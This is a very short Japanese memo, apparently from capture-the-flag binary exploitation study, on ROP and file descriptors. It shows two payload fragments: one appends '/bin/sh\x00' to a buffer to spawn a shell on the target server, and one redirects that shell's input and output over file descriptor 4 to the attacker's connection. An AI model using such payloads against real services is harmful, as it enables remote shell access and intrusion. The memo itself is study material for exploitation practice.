pwn,rop,/bin/sh,shell(),ファイルディスクリプタについて

・サーバ側でshellを開く
buf += '/bin/sh\x00'

・サーバ側のshellをこちらで開く
buf += '/bin/sh <&4 >&4 2>&4;'
shell()